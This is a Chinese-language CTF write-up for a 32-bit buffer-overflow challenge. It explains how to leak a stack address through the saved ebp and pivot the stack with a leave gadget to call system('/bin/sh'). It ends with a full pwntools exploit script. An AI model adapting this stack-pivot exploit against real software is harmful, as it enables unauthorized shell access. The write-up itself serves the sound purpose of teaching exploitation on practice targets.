拿到题目,依然是放入ida反汇编
可以看到里面有用在vul里,有两个read函数进行栈溢出
填满s的需要0x28个字节,而read里面只能写入0x30个字节,很明显构造不了完整的rop链,但是他有两个read可以进行输入,于是我们可以通过”栈迁移“方式进行攻击
1.首先我们需要泄露出栈的地址,我们才可以迁移到写入的rop链的地址,这里通过第一个read填满s的ebp,但是不能覆盖到ret,此时可以把ebp的地址给顺便带出来
payload=b'a'*(0x26)+b'b'
p.recvuntil(b'name?')
p.sendline(payload)
p.recvuntil(b'b\n')
ebp = u32(p.recv(4))
为什么填满ebp是0x26+1呢,这样不是0x27没覆盖完吗?这里我用的是sendline()自带一个换行符,所以刚刚好位0x28,完全覆盖ebp
这里通过泄露ebp的地址且接收该地址,为的就是计算出该ebp地址与栈地址的固定偏移量,这里我们进入pwndbg进行调试
可以看到我们无论泄露多少次的地址,都跟我们首先输入的“aaaa”的地址的偏移量为0x38,所以只要我们将泄露出来的地址减去0x38就是我们写入栈上的地址,所以我们在第二个read里面就可以进行栈迁移
stack_addr=ebp-0x38
payload=p32(0)+p32(elf.sym['system'])+p32(0)+p32(stack_addr+0x10)+b'/bin/sh'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(stack_addr)+p32(leave)
p.recv()
p.sendline(payload)
我们给到的程序中有system的函数,但是没有/bin/sh这样的字符串,所以我们不需要去泄露libc的基地址,只需要在栈上输入“bin/sh”再计算出bin/sh的地址即可,由于我们是栈迁移到原来的栈上去执行我们的rop链,所以依然要将ebp覆盖完且需要在ebp上写入我们的栈地址所以会用到payload.ljust(0x28,b'\x00'),前面的p32(0)也是为了应对pop ebp留出来的地方,这样就会直接调用system来获取shell了
以下是完整的exp
from pwn import*
#p=remote('node5.buuoj.cn',29059)
p=process("./aaa")
elf=ELF("./aaa")
payload=b'a'*(0x26)+b'b'
p.recvuntil(b'name?')
p.sendline(payload)
p.recvuntil(b'b\n')
ebp = u32(p.recv(4))
print(hex(ebp))
gdb.attach(p)
leave=0x08048562
stack_addr=ebp-0x38
payload=p32(0)+p32(elf.sym['system'])+p32(0)+p32(stack_addr+0x10)+b'/bin/sh'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(stack_addr)+p32(leave)
p.recv()
p.sendline(payload)
p.interactive()